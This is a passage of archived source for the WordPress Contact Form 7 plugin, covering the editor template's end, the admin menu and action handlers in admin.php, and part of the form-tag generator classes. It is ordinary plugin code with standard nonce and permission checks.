				'callback' => 'wpcf7_editor_panel_mail',
			),
			'messages-panel' => array(
				'title' => __( 'Messages', 'contact-form-7' ),
				'callback' => 'wpcf7_editor_panel_messages',
			),
		);

		$additional_settings = $post->prop( 'additional_settings' );

		if ( ! is_scalar( $additional_settings ) ) {
			$additional_settings = '';
		}

		$additional_settings = trim( $additional_settings );
		$additional_settings = explode( "\n", $additional_settings );
		$additional_settings = array_filter( $additional_settings );
		$additional_settings = count( $additional_settings );

		$panels['additional-settings-panel'] = array(
			'title' => $additional_settings
				? sprintf(
					/* translators: %d: number of additional settings */
					__( 'Additional Settings (%d)', 'contact-form-7' ),
					$additional_settings )
				: __( 'Additional Settings', 'contact-form-7' ),
			'callback' => 'wpcf7_editor_panel_additional_settings',
		);
	}

	$panels = apply_filters( 'wpcf7_editor_panels', $panels );

	foreach ( $panels as $id => $panel ) {
		$editor->add_panel( $id, $panel['title'], $panel['callback'] );
	}

	$editor->display();

?>
</div><!-- #contact-form-editor -->

<?php

	if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) {
		echo sprintf(
			'<p class="submit">%s</p>',
			$save_button
		);
	}

?>

</div><!-- #postbox-container-2 -->

</div><!-- #post-body -->
<br class="clear" />
</div><!-- #poststuff -->
</form>

<?php

endif;

?>

</div><!-- .wrap -->

<?php

$tag_generator = WPCF7_TagGenerator::get_instance();
$tag_generator->print_panels( $post );

do_action( 'wpcf7_admin_footer', $post );
contact-form-7/admin/admin.php000064400000042250147510273060012205 0ustar00<?php

require_once WPCF7_PLUGIN_DIR . '/admin/includes/admin-functions.php';
require_once WPCF7_PLUGIN_DIR . '/admin/includes/help-tabs.php';
require_once WPCF7_PLUGIN_DIR . '/admin/includes/tag-generator.php';
require_once WPCF7_PLUGIN_DIR . '/admin/includes/welcome-panel.php';
require_once WPCF7_PLUGIN_DIR . '/admin/includes/config-validator.php';


add_action(
	'admin_init',
	static function () {
		do_action( 'wpcf7_admin_init' );
	},
	10, 0
);


add_action(
	'admin_menu',
	'wpcf7_admin_menu',
	9, 0
);

function wpcf7_admin_menu() {
	do_action( 'wpcf7_admin_menu' );

	add_menu_page(
		__( 'Contact Form 7', 'contact-form-7' ),
		__( 'Contact', 'contact-form-7' )
			. wpcf7_admin_menu_change_notice(),
		'wpcf7_read_contact_forms',
		'wpcf7',
		'wpcf7_admin_management_page',
		'dashicons-email',
		30
	);

	$edit = add_submenu_page( 'wpcf7',
		__( 'Edit Contact Form', 'contact-form-7' ),
		__( 'Contact Forms', 'contact-form-7' )
			. wpcf7_admin_menu_change_notice( 'wpcf7' ),
		'wpcf7_read_contact_forms',
		'wpcf7',
		'wpcf7_admin_management_page'
	);

	add_action( 'load-' . $edit, 'wpcf7_load_contact_form_admin', 10, 0 );

	$addnew = add_submenu_page( 'wpcf7',
		__( 'Add New Contact Form', 'contact-form-7' ),
		__( 'Add New', 'contact-form-7' )
			. wpcf7_admin_menu_change_notice( 'wpcf7-new' ),
		'wpcf7_edit_contact_forms',
		'wpcf7-new',
		'wpcf7_admin_add_new_page'
	);

	add_action( 'load-' . $addnew, 'wpcf7_load_contact_form_admin', 10, 0 );

	$integration = WPCF7_Integration::get_instance();

	if ( $integration->service_exists() ) {
		$integration = add_submenu_page( 'wpcf7',
			__( 'Integration with External API', 'contact-form-7' ),
			__( 'Integration', 'contact-form-7' )
				. wpcf7_admin_menu_change_notice( 'wpcf7-integration' ),
			'wpcf7_manage_integration',
			'wpcf7-integration',
			'wpcf7_admin_integration_page'
		);

		add_action( 'load-' . $integration, 'wpcf7_load_integration_page', 10, 0 );
	}
}


function wpcf7_admin_menu_change_notice( $menu_slug = '' ) {
	$counts = apply_filters( 'wpcf7_admin_menu_change_notice',
		array(
			'wpcf7' => 0,
			'wpcf7-new' => 0,
			'wpcf7-integration' => 0,
		)
	);

	if ( empty( $menu_slug ) ) {
		$count = absint( array_sum( $counts ) );
	} elseif ( isset( $counts[$menu_slug] ) ) {
		$count = absint( $counts[$menu_slug] );
	} else {
		$count = 0;
	}

	if ( $count ) {
		return sprintf(
			' <span class="update-plugins %1$d"><span class="plugin-count">%2$s</span></span>',
			$count,
			esc_html( number_format_i18n( $count ) )
		);
	}

	return '';
}


add_action(
	'admin_enqueue_scripts',
	'wpcf7_admin_enqueue_scripts',
	10, 1
);

function wpcf7_admin_enqueue_scripts( $hook_suffix ) {
	if ( false === strpos( $hook_suffix, 'wpcf7' ) ) {
		return;
	}

	wp_enqueue_style( 'contact-form-7-admin',
		wpcf7_plugin_url( 'admin/includes/css/styles.css' ),
		array(), WPCF7_VERSION, 'all'
	);

	if ( wpcf7_is_rtl() ) {
		wp_enqueue_style( 'contact-form-7-admin-rtl',
			wpcf7_plugin_url( 'admin/includes/css/styles-rtl.css' ),
			array(), WPCF7_VERSION, 'all'
		);
	}

	$assets = include(
		wpcf7_plugin_path( 'admin/includes/js/index.asset.php' )
	);

	$assets = wp_parse_args( $assets, array(
		'dependencies' => array(),
		'version' => WPCF7_VERSION,
	) );

	wp_enqueue_script( 'wpcf7-admin',
		wpcf7_plugin_url( 'admin/includes/js/index.js' ),
		$assets['dependencies'],
		$assets['version'],
		array( 'in_footer' => true )
	);

	wp_set_script_translations( 'wpcf7-admin', 'contact-form-7' );

	$wpcf7_obj = array(
		'apiSettings' => array(
			'root' => sanitize_url( rest_url( 'contact-form-7/v1' ) ),
			'namespace' => 'contact-form-7/v1',
		),
	);

	$post = wpcf7_get_current_contact_form();

	if ( $post ) {
		$wpcf7_obj = array_merge( $wpcf7_obj, array(
			'nonce' => array(
				'save' => wp_create_nonce(
					sprintf(
						'wpcf7-save-contact-form_%s',
						$post->initial() ? -1 : $post->id()
					)
				),
				'copy' => wp_create_nonce(
					sprintf(
						'wpcf7-copy-contact-form_%s',
						$post->initial() ? -1 : $post->id()
					)
				),
				'delete' => wp_create_nonce(
					sprintf(
						'wpcf7-delete-contact-form_%s',
						$post->initial() ? -1 : $post->id()
					)
				),
			),
			'configValidator' => array(
				'errors' => array(),
				'docUrl' => WPCF7_ConfigValidator::get_doc_link(),
			),
		) );

		if (
			current_user_can( 'wpcf7_edit_contact_form', $post->id() ) and
			wpcf7_validate_configuration()
		) {
			$config_validator = new WPCF7_ConfigValidator( $post );
			$config_validator->restore();

			$wpcf7_obj['configValidator'] = array_merge(
				$wpcf7_obj['configValidator'],
				array(
					'errors' => $config_validator->collect_error_messages(),
				)
			);
		}
	}

	wp_add_inline_script( 'wpcf7-admin',
		sprintf(
			'var wpcf7 = %s;',
			wp_json_encode( $wpcf7_obj, JSON_PRETTY_PRINT )
		),
		'before'
	);
}


add_filter(
	'set_screen_option_wpcf7_contact_forms_per_page',
	static function ( $result, $option, $value ) {
		$wpcf7_screens = array(
			'wpcf7_contact_forms_per_page',
		);

		if ( in_array( $option, $wpcf7_screens ) ) {
			$result = $value;
		}

		return $result;
	},
	10, 3
);


function wpcf7_load_contact_form_admin() {
	global $plugin_page;

	$action = wpcf7_current_action();

	do_action( 'wpcf7_admin_load',
		trim( $_GET['page'] ?? '' ),
		$action
	);

	if ( 'save' === $action ) {
		$id = $_POST['post_ID'] ?? '-1';

		check_admin_referer( 'wpcf7-save-contact-form_' . $id );

		if ( ! current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
			wp_die(
				__( "You are not allowed to edit this item.", 'contact-form-7' )
			);
		}

		$contact_form = wpcf7_save_contact_form(
			array_merge(
				$_REQUEST,
				array(
					'id' => $id,
					'title' => $_POST['post_title'] ?? null,
					'locale' => $_POST['wpcf7-locale'] ?? null,
					'form' => $_POST['wpcf7-form'] ?? '',
					'mail' => $_POST['wpcf7-mail'] ?? array(),
					'mail_2' => $_POST['wpcf7-mail-2'] ?? array(),
					'messages' => $_POST['wpcf7-messages'] ?? array(),
					'additional_settings' => $_POST['wpcf7-additional-settings'] ?? '',
				)
			)
		);

		if ( $contact_form and wpcf7_validate_configuration() ) {
			$config_validator = new WPCF7_ConfigValidator( $contact_form );
			$config_validator->validate();
			$config_validator->save();
		}

		$query = array(
			'post' => $contact_form ? $contact_form->id() : 0,
			'active-tab' => wpcf7_canonicalize_name( $_POST['active-tab'] ?? '' ),
		);

		if ( ! $contact_form ) {
			$query['message'] = 'failed';
		} elseif ( -1 == $id ) {
			$query['message'] = 'created';
		} else {
			$query['message'] = 'saved';
		}

		$redirect_to = add_query_arg( $query, menu_page_url( 'wpcf7', false ) );
		wp_safe_redirect( $redirect_to );
		exit();
	}

	if ( 'copy' === $action ) {
		$id = absint( $_POST['post_ID'] ?? $_REQUEST['post'] ?? '' );

		check_admin_referer( 'wpcf7-copy-contact-form_' . $id );

		if ( ! current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
			wp_die(
				__( "You are not allowed to edit this item.", 'contact-form-7' )
			);
		}

		$query = array();

		if ( $contact_form = wpcf7_contact_form( $id ) ) {
			$new_contact_form = $contact_form->copy();
			$new_contact_form->save();

			$query['post'] = $new_contact_form->id();
			$query['message'] = 'created';
		}

		$redirect_to = add_query_arg( $query, menu_page_url( 'wpcf7', false ) );

		wp_safe_redirect( $redirect_to );
		exit();
	}

	if ( 'delete' === $action ) {
		if ( ! empty( $_POST['post_ID'] ) ) {
			check_admin_referer( 'wpcf7-delete-contact-form_' . $_POST['post_ID'] );
		} elseif ( ! is_array( $_REQUEST['post'] ) ) {
			check_admin_referer( 'wpcf7-delete-contact-form_' . $_REQUEST['post'] );
		} else {
			check_admin_referer( 'bulk-posts' );
		}

		$posts = (array) ( $_POST['post_ID'] ?? $_REQUEST['post'] ?? array() );

		$deleted = 0;

		foreach ( $posts as $post ) {
			$post = WPCF7_ContactForm::get_instance( $post );

			if ( empty( $post ) ) {
				continue;
			}

			if ( ! current_user_can( 'wpcf7_delete_contact_form', $post->id() ) ) {
				wp_die(
					__( "You are not allowed to delete this item.", 'contact-form-7' )
				);
			}

			if ( ! $post->delete() ) {
				wp_die( __( "Error in deleting.", 'contact-form-7' ) );
			}

			$deleted += 1;
		}

		$query = array();

		if ( ! empty( $deleted ) ) {
			$query['message'] = 'deleted';
		}

		$redirect_to = add_query_arg( $query, menu_page_url( 'wpcf7', false ) );

		wp_safe_redirect( $redirect_to );
		exit();
	}

	$post = null;

	if ( 'wpcf7-new' === $plugin_page ) {
		$post = WPCF7_ContactForm::get_template( array(
			'locale' => $_GET['locale'] ?? null,
		) );
	} elseif ( ! empty( $_GET['post'] ) ) {
		$post = WPCF7_ContactForm::get_instance( $_GET['post'] );
	}

	$current_screen = get_current_screen();

	$help_tabs = new WPCF7_Help_Tabs( $current_screen );

	if ( $post
	and current_user_can( 'wpcf7_edit_contact_form', $post->id() ) ) {
		$help_tabs->set_help_tabs( 'edit' );
	} else {
		$help_tabs->set_help_tabs( 'list' );

		if ( ! class_exists( 'WPCF7_Contact_Form_List_Table' ) ) {
			require_once WPCF7_PLUGIN_DIR . '/admin/includes/class-contact-forms-list-table.php';
		}

		add_filter(
			'manage_' . $current_screen->id . '_columns',
			array( 'WPCF7_Contact_Form_List_Table', 'define_columns' ),
			10, 0
		);

		add_screen_option( 'per_page', array(
			'default' => 20,
			'option' => 'wpcf7_contact_forms_per_page',
		) );
	}
}


function wpcf7_admin_management_page() {
	if ( $post = wpcf7_get_current_contact_form() ) {
		$post_id = $post->initial() ? -1 : $post->id();

		require_once WPCF7_PLUGIN_DIR . '/admin/includes/editor.php';
		require_once WPCF7_PLUGIN_DIR . '/admin/edit-contact-form.php';
		return;
	}

	if ( 'validate' == wpcf7_current_action()
	and wpcf7_validate_configuration()
	and current_user_can( 'wpcf7_edit_contact_forms' ) ) {
		wpcf7_admin_bulk_validate_page();
		return;
	}

	$list_table = new WPCF7_Contact_Form_List_Table();
	$list_table->prepare_items();

?>
<div class="wrap" id="wpcf7-contact-form-list-table">

<h1 class="wp-heading-inline"><?php
	echo esc_html( __( 'Contact Forms', 'contact-form-7' ) );
?></h1>

<?php
	if ( current_user_can( 'wpcf7_edit_contact_forms' ) ) {
		echo wpcf7_link(
			menu_page_url( 'wpcf7-new', false ),
			__( 'Add New', 'contact-form-7' ),
			array( 'class' => 'page-title-action' )
		);
	}

	if ( ! empty( $_REQUEST['s'] ) ) {
		echo sprintf(
			'<span class="subtitle">'
			/* translators: %s: search keywords */
			. __( 'Search results for &#8220;%s&#8221;', 'contact-form-7' )
			. '</span>',
			esc_html( $_REQUEST['s'] )
		);
	}
?>

<hr class="wp-header-end">

<?php
	do_action( 'wpcf7_admin_warnings',
		'wpcf7', wpcf7_current_action(), null
	);

	wpcf7_welcome_panel();

	do_action( 'wpcf7_admin_notices',
		'wpcf7', wpcf7_current_action(), null
	);
?>

<form method="get" action="">
	<input type="hidden" name="page" value="<?php echo esc_attr( $_REQUEST['page'] ); ?>" />
	<?php $list_table->search_box( __( 'Search Contact Forms', 'contact-form-7' ), 'wpcf7-contact' ); ?>
	<?php $list_table->display(); ?>
</form>

</div>
<?php
}


function wpcf7_admin_add_new_page() {
	$post = wpcf7_get_current_contact_form();

	if ( ! $post ) {
		$post = WPCF7_ContactForm::get_template();
	}

	$post_id = -1;

	require_once WPCF7_PLUGIN_DIR . '/admin/includes/editor.php';
	require_once WPCF7_PLUGIN_DIR . '/admin/edit-contact-form.php';
}


function wpcf7_load_integration_page() {
	do_action( 'wpcf7_admin_load',
		trim( $_GET['page'] ?? '' ),
		wpcf7_current_action()
	);

	$integration = WPCF7_Integration::get_instance();

	if ( isset( $_REQUEST['service'] )
	and $integration->service_exists( $_REQUEST['service'] ) ) {
		$service = $integration->get_service( $_REQUEST['service'] );
		$service->load( wpcf7_current_action() );
	}

	$help_tabs = new WPCF7_Help_Tabs( get_current_screen() );
	$help_tabs->set_help_tabs( 'integration' );
}


function wpcf7_admin_integration_page() {
	$integration = WPCF7_Integration::get_instance();

	$service = isset( $_REQUEST['service'] )
		? $integration->get_service( $_REQUEST['service'] )
		: null;

?>
<div class="wrap" id="wpcf7-integration">

<h1><?php echo esc_html( __( 'Integration with External API', 'contact-form-7' ) ); ?></h1>

<p><?php
	echo sprintf(
		/* translators: %s: link labeled 'Integration with external APIs' */
		esc_html( __( "You can expand the possibilities of your contact forms by integrating them with external services. For details, see %s.", 'contact-form-7' ) ),
		wpcf7_link(
			__( 'https://contactform7.com/integration-with-external-apis/', 'contact-form-7' ),
			__( 'Integration with external APIs', 'contact-form-7' )
		)
	);
?></p>

<?php
	do_action( 'wpcf7_admin_warnings',
		'wpcf7-integration', wpcf7_current_action(), $service
	);

	do_action( 'wpcf7_admin_notices',
		'wpcf7-integration', wpcf7_current_action(), $service
	);

	if ( $service ) {
		$message = $_REQUEST['message'] ?? '';
		$service->admin_notice( $message );

		$integration->list_services( array(
			'include' => $_REQUEST['service'],
		) );
	} else {
		$integration->list_services();
	}
?>

</div>
<?php
}


add_action( 'wpcf7_admin_notices', 'wpcf7_admin_updated_message', 10, 3 );

function wpcf7_admin_updated_message( $page, $action, $object ) {
	if ( ! in_array( $page, array( 'wpcf7', 'wpcf7-new' ) ) ) {
		return;
	}

	if ( empty( $_REQUEST['message'] ) ) {
		return;
	}

	if ( 'created' === $_REQUEST['message'] ) {
		$message = __( "Contact form created.", 'contact-form-7' );
	} elseif ( 'saved' === $_REQUEST['message'] ) {
		$message = __( "Contact form saved.", 'contact-form-7' );
	} elseif ( 'deleted' === $_REQUEST['message'] ) {
		$message = __( "Contact form deleted.", 'contact-form-7' );
	}

	if ( ! empty( $message ) ) {
		wp_admin_notice( esc_html( $message ), 'type=success' );
	}

	if ( 'failed' === $_REQUEST['message'] ) {
		$message =
			__( "There was an error saving the contact form.", 'contact-form-7' );

		wp_admin_notice( esc_html( $message ), 'type=error' );
	}

	if ( 'validated' === $_REQUEST['message'] ) {
		$bulk_validate = WPCF7::get_option( 'bulk_validate', array() );
		$count_invalid = absint( $bulk_validate['count_invalid'] ?? 0 );

		if ( $count_invalid ) {
			$message = sprintf(
				_n(
					/* translators: %s: number of contact forms */
					"Configuration validation completed. %s invalid contact form was found.",
					"Configuration validation completed. %s invalid contact forms were found.",
					$count_invalid, 'contact-form-7'
				),
				number_format_i18n( $count_invalid )
			);

			wp_admin_notice( esc_html( $message ), 'type=warning' );
		} else {
			$message = __( "Configuration validation completed. No invalid contact form was found.", 'contact-form-7' );

			wp_admin_notice( esc_html( $message ), 'type=success' );
		}
	}
}


add_filter( 'plugin_action_links', 'wpcf7_plugin_action_links', 10, 2 );

function wpcf7_plugin_action_links( $links, $file ) {
	if ( $file != WPCF7_PLUGIN_BASENAME ) {
		return $links;
	}

	if ( ! current_user_can( 'wpcf7_read_contact_forms' ) ) {
		return $links;
	}

	$settings_link = wpcf7_link(
		menu_page_url( 'wpcf7', false ),
		__( 'Settings', 'contact-form-7' )
	);

	array_unshift( $links, $settings_link );

	return $links;
}


add_action( 'wpcf7_admin_warnings', 'wpcf7_old_wp_version_error', 10, 3 );

function wpcf7_old_wp_version_error( $page, $action, $object ) {
	$wp_version = get_bloginfo( 'version' );

	if ( version_compare( $wp_version, WPCF7_REQUIRED_WP_VERSION, '<' ) ) {
		$message = sprintf(
			/* translators: 1: version of Contact Form 7, 2: version of WordPress, 3: URL */
			__( '<strong>Contact Form 7 %1$s requires WordPress %2$s or higher.</strong> Please <a href="%3$s">update WordPress</a> first.', 'contact-form-7' ),
			WPCF7_VERSION,
			WPCF7_REQUIRED_WP_VERSION,
			admin_url( 'update-core.php' )
		);

		wp_admin_notice( $message, 'type=warning' );
	}
}


add_action( 'wpcf7_admin_warnings', 'wpcf7_not_allowed_to_edit', 10, 3 );

function wpcf7_not_allowed_to_edit( $page, $action, $object ) {
	if ( $object instanceof WPCF7_ContactForm ) {
		$contact_form = $object;
	} else {
		return;
	}

	if ( ! current_user_can( 'wpcf7_edit_contact_form', $contact_form->id() ) ) {
		$message = __( "You are not allowed to edit this contact form.", 'contact-form-7' );

		wp_admin_notice( esc_html( $message ), 'type=warning' );
	}
}


add_action( 'wpcf7_admin_warnings', 'wpcf7_outdated_php_warning', 10, 3 );

function wpcf7_outdated_php_warning( $page, $action, $object ) {
	if ( version_compare( PHP_VERSION, '7.4', '<' ) ) {
		$message = __( "The next major release of Contact Form 7 will discontinue support for outdated PHP versions. If you don't upgrade PHP, you will not be able to upgrade the plugin.", 'contact-form-7' );

		wp_admin_notice( esc_html( $message ), 'type=warning' );
	}
}


add_action( 'wpcf7_admin_warnings', 'wpcf7_ctct_deprecated_warning', 10, 3 );

function wpcf7_ctct_deprecated_warning( $page, $action, $object ) {
	$service = WPCF7_ConstantContact::get_instance();

	if ( $service->is_active() ) {
		$message = wp_kses(
			__( 'The Constant Contact integration is deprecated and planned to be <a href="https://contactform7.com/2025/01/08/complete-removal-of-constant-contact-integration/">completely removed</a> anytime soon. Contact Form 7 recommends <a href="https://contactform7.com/sendinblue-integration/">Brevo</a> as an alternative.', 'contact-form-7' ),
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		wp_admin_notice( $message, 'type=warning' );
	}
}
contact-form-7/admin/includes/tag-generator.php000064400000030447147510273060015467 0ustar00<?php

/**
 * The base class for form-tag generators management.
 */
class WPCF7_TagGenerator {

	private static $instance;

	private $panels = array();

	private function __construct() {}


	/**
	 * Returns the singleton instance of this class.
	 */
	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}


	/**
	 * Adds a form-tag generator instance.
	 */
	public function add( $id, $title, $callback, $options = '' ) {
		$id = trim( $id );

		if (
			'' === $id or
			! wpcf7_is_name( $id ) or
			! is_callable( $callback )
		) {
			return false;
		}

		$options = wp_parse_args( $options, array(
			'version' => '1',
		) );

		$this->panels[$id] = array(
			'title' => $title,
			'content' => 'tag-generator-panel-' . $id,
			'options' => $options,
			'callback' => $callback,
		);

		if ( version_compare( $options['version'], '2', '<' ) ) {
			$message = sprintf(
				/* translators: 1: version, 2: tag generator title */
				__( 'Use of tag generator instances older than version 2 is deprecated. Version %1$s instance (%2$s) detected.', 'contact-form-7' ),
				$options['version'],
				$title
			);

			wp_trigger_error( __METHOD__, $message, E_USER_DEPRECATED );
		}

		return true;
	}


	/**
	 * Renders form-tag generator calling buttons.
	 */
	public function print_buttons() {
		echo '<span id="tag-generator-list" class="hide-if-no-js">';

		foreach ( (array) $this->panels as $panel ) {
			echo sprintf(
				'<button %1$s>%2$s</button>',
				wpcf7_format_atts( array(
					'type' => 'button',
					'data-taggen' => 'open-dialog',
					'data-target' => $panel['content'],
					'title' => sprintf(
						/* translators: %s: title of form-tag */
						__( 'Form-tag Generator: %s', 'contact-form-7' ),
						$panel['title']
					),
				) ),
				esc_html( $panel['title'] )
			);
		}

		echo '</span>';
	}


	/**
	 * Renders form-tag generator dialog panels (hidden until called).
	 */
	public function print_panels( WPCF7_ContactForm $contact_form ) {
		foreach ( (array) $this->panels as $id => $panel ) {
			$callback = $panel['callback'];

			$options = array_merge( $panel['options'], array(
				'id' => $id,
				'title' => $panel['title'],
				'content' => $panel['content'],
			) );

			if ( is_callable( $callback ) ) {
				echo "\n";
				echo sprintf(
					'<dialog id="%s" class="tag-generator-dialog">',
					esc_attr( $options['content'] )
				);
				echo "\n";
				echo sprintf(
					'<button %1$s>%2$s</button>',
					wpcf7_format_atts( array(
						'class' => 'close-button',
						'title' => __( 'Close this dialog box', 'contact-form-7' ),
						'data-taggen' => 'close-dialog',
					) ),
					esc_html( __( 'Close', 'contact-form-7' ) )
				);
				echo "\n";
				echo sprintf(
					'<form %s>',
					wpcf7_format_atts( array(
						'method' => 'dialog',
						'class' => 'tag-generator-panel',
						'data-id' => $options['id'],
						'data-version' => $options['version'],
					) )
				);
				echo "\n";
				call_user_func( $callback, $contact_form, $options );
				echo "\n";
				echo '</form>';
				echo "\n";
				echo '</dialog>';
				echo "\n\n";
			}
		}
	}

}


/**
 * Class helps to implement a form-tag generator content.
 */
class WPCF7_TagGeneratorGenerator {

	private $key = '';


	/**
	 * The constructor.
	 */
	public function __construct( $key ) {
		$this->key = $key;
	}


	/**
	 * Returns a unique reference ID.
	 */
	public function ref( $suffix = '' ) {
		$ref = sprintf( '%s-%s', $this->key, $suffix );
		$ref = strtolower( $ref );
		$ref = preg_replace( '/[^0-9a-z-]/', '', $ref );
		$ref = preg_replace( '/[-]+/', '-', $ref );
		$ref = trim( $ref, '-' );
		return $ref;
	}


	/**
	 * Calls one of the template methods.
	 */
	public function print( $part, $options = '' ) {
		if ( is_callable( array( $this, $part ) ) ) {
			call_user_func( array( $this, $part ), $options );
		}
	}


	/**
	 * Template method for field type field.
	 */
	private function field_type( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'with_required' => false,
			'select_options' => array(),
		) );

?>
<fieldset>
	<legend id="<?php echo esc_attr( $this->ref( 'type-legend' ) ); ?>"><?php
		echo esc_html( __( 'Field type', 'contact-form-7' ) );
	?></legend>

	<select data-tag-part="basetype" aria-labelledby="<?php echo esc_attr( $this->ref( 'type-legend' ) ); ?>"><?php
		foreach ( (array) $options['select_options'] as $basetype => $title ) {
			echo sprintf(
				'<option %1$s>%2$s</option>',
				wpcf7_format_atts( array(
					'value' => $basetype,
				) ),
				esc_html( $title )
			);
		}
	?></select>

	<?php if ( $options['with_required'] ) { ?>
	<br />
	<label>
		<input type="checkbox" data-tag-part="type-suffix" value="*" />
		<?php echo esc_html( __( "This is a required field.", 'contact-form-7' ) ); ?>
	</label>
	<?php } ?>
</fieldset>
<?php
	}


	/**
	 * Template method for field name field.
	 */
	private function field_name( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'ask_if' => '',
		) );

?>
<fieldset>
	<legend id="<?php echo esc_attr( $this->ref( 'name-legend' ) ); ?>"><?php
		echo esc_html( __( 'Field name', 'contact-form-7' ) );
	?></legend>
	<input type="text" data-tag-part="name" pattern="[A-Za-z][A-Za-z0-9_\-]*" aria-labelledby="<?php echo esc_attr( $this->ref( 'name-legend' ) ); ?>" />

<?php
		$tag_option = $label = '';

		if ( 'author_name' === $options['ask_if'] ) {
			$tag_option = 'autocomplete:name';

			if ( wpcf7_akismet_is_available() ) {
				$tag_option .= ' akismet:author';
			}

			$label = __( "This field expects the submitter name.", 'contact-form-7' );
		} elseif ( 'author_email' === $options['ask_if'] ) {
			$tag_option = 'autocomplete:email';

			if ( wpcf7_akismet_is_available() ) {
				$tag_option .= ' akismet:author_email';
			}

			$label = __( "This field expects the submitter email.", 'contact-form-7' );
		} elseif ( 'author_url' === $options['ask_if'] ) {
			$tag_option = 'autocomplete:url';

			if ( wpcf7_akismet_is_available() ) {
				$tag_option .= ' akismet:author_url';
			}

			$label = __( "This field expects the submitter URL.", 'contact-form-7' );
		} elseif ( 'author_tel' === $options['ask_if'] ) {
			$tag_option = 'autocomplete:tel';
			$label = __( "This field expects the submitter telephone number.", 'contact-form-7' );
		}

		if ( $tag_option ) {
?>
	<br />
	<label>
		<input type="checkbox" data-tag-part="option" data-tag-option="<?php echo esc_attr( $tag_option ); ?>" />
		<?php echo esc_html( $label ); ?>
	</label>
<?php
		}
?>
</fieldset>
<?php
	}


	/**
	 * Template method for ID attribute option field.
	 */
	private function id_attr( $options = '' ) {
?>
<fieldset>
	<legend id="<?php echo esc_attr( $this->ref( 'id-legend' ) ); ?>"><?php
		echo esc_html( __( 'ID attribute', 'contact-form-7' ) );
	?></legend>
	<input type="text" data-tag-part="option" data-tag-option="id:" pattern="[A-Za-z][A-Za-z0-9_\-]*" aria-labelledby="<?php echo esc_attr( $this->ref( 'id-legend' ) ); ?>" />
</fieldset>
<?php
	}


	/**
	 * Template method for class attribute option field.
	 */
	private function class_attr( $options = '' ) {
?>
<fieldset>
	<legend id="<?php echo esc_attr( $this->ref( 'class-legend' ) ); ?>"><?php
		echo esc_html( __( 'Class attribute', 'contact-form-7' ) );
	?></legend>
	<input type="text" data-tag-part="option" data-tag-option="class:" pattern="[A-Za-z0-9_\-\s]*" aria-labelledby="<?php echo esc_attr( $this->ref( 'class-legend' ) ); ?>" />
</fieldset>
<?php
	}


	/**
	 * Template method for min/max options.
	 */
	private function min_max( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'type' => 'number',
			'title' => __( 'Length', 'contact-form-7' ),
			'min_option' => 'minlength:',
			'max_option' => 'maxlength:',
			'accept_minus' => false,
		) );

?>
<fieldset>
	<legend><?php
		echo esc_html( $options['title'] );
	?></legend>
	<label><?php
		echo esc_html( __( 'Min', 'contact-form-7' ) ) . "\n";

		echo sprintf(
			'<input %s />',
			wpcf7_format_atts( array(
				'type' => $options['type'],
				'data-tag-part' => 'option',
				'data-tag-option' => $options['min_option'],
				'min' => $options['accept_minus'] ? null : 0,
			) )
		);
	?></label>
	&#8660;
	<label><?php
		echo esc_html( __( 'Max', 'contact-form-7' ) ) . "\n";

		echo sprintf(
			'<input %s />',
			wpcf7_format_atts( array(
				'type' => $options['type'],
				'data-tag-part' => 'option',
				'data-tag-option' => $options['max_option'],
				'min' => $options['accept_minus'] ? null : 0,
			) )
		);
	?></label>
</fieldset>
<?php
	}


	/**
	 * Template method for default value field.
	 */
	private function default_value( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'type' => 'text',
			'title' => __( 'Default value', 'contact-form-7' ),
			'with_placeholder' => false,
			'use_content' => false,
		) );

?>
<fieldset>
	<legend id="<?php echo esc_attr( $this->ref( 'value-legend' ) ); ?>"><?php
		echo esc_html( $options['title'] );
	?></legend>
	<?php
		echo sprintf(
			'<input %s />',
			wpcf7_format_atts( array(
				'type' => $options['type'],
				'data-tag-part' => $options['use_content'] ? 'content' : 'value',
				'aria-labelledby' => $this->ref( 'value-legend' ),
			) )
		);
	?>

	<?php if ( $options['with_placeholder'] ) { ?>
	<br />
	<label>
		<input type="checkbox" data-tag-part="option" data-tag-option="placeholder" /> <?php echo esc_html( __( "Use this text as the placeholder.", 'contact-form-7' ) ); ?>
	</label>
	<?php } ?>

</fieldset>
<?php
	}


	/**
	 * Template method for selectable values useful for checkboxes or a menu.
	 */
	private function selectable_values( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'first_as_label' => false,
			'use_label_element' => false,
		) );

?>
<fieldset>
	<legend id="<?php echo esc_attr( $this->ref( 'selectable-values-legend' ) ); ?>"><?php
		echo esc_html( __( 'Selectable values', 'contact-form-7' ) );
	?></legend>
	<?php
		echo sprintf(
			'<span %1$s>%2$s</span>',
			wpcf7_format_atts( array(
				'id' => $this->ref( 'selectable-values-description' ),
			) ),
			esc_html( __( "One item per line.", 'contact-form-7' ) )
		);
	?>
	<br />
	<?php
		echo sprintf(
			'<textarea %1$s>%2$s</textarea>',
			wpcf7_format_atts( array(
				'required' => true,
				'data-tag-part' => 'value',
				'aria-labelledby' => $this->ref( 'selectable-values-legend' ),
				'aria-describedby' => $this->ref( 'selectable-values-description' ),
			) ),
			esc_html( __( "Option 1\nOption 2\nOption 3", 'contact-form-7' ) )
		);
	?>

	<?php if ( $options['first_as_label'] ) { ?>
	<br />
	<?php
		echo sprintf(
			'<label><input %1$s /> %2$s</label>',
			wpcf7_format_atts( array(
				'type' => 'checkbox',
				'checked' => 'checked' === $options['first_as_label'],
				'data-tag-part' => 'option',
				'data-tag-option' => 'first_as_label',
			) ),
			esc_html( __( "Use the first item as a label.", 'contact-form-7' ) )
		);
	?>
	<?php } ?>

	<?php if ( $options['use_label_element'] ) { ?>
	<br />
	<?php
		echo sprintf(
			'<label><input %1$s /> %2$s</label>',
			wpcf7_format_atts( array(
				'type' => 'checkbox',
				'checked' => 'checked' === $options['use_label_element'],
				'data-tag-part' => 'option',
				'data-tag-option' => 'use_label_element',
			) ),
			esc_html( __( "Wrap each item with a label element.", 'contact-form-7' ) )
		);
	?>
	<?php } ?>

</fieldset>
<?php
	}


	/**
	 * Template method for insert-box content including the result form-tag.
	 */
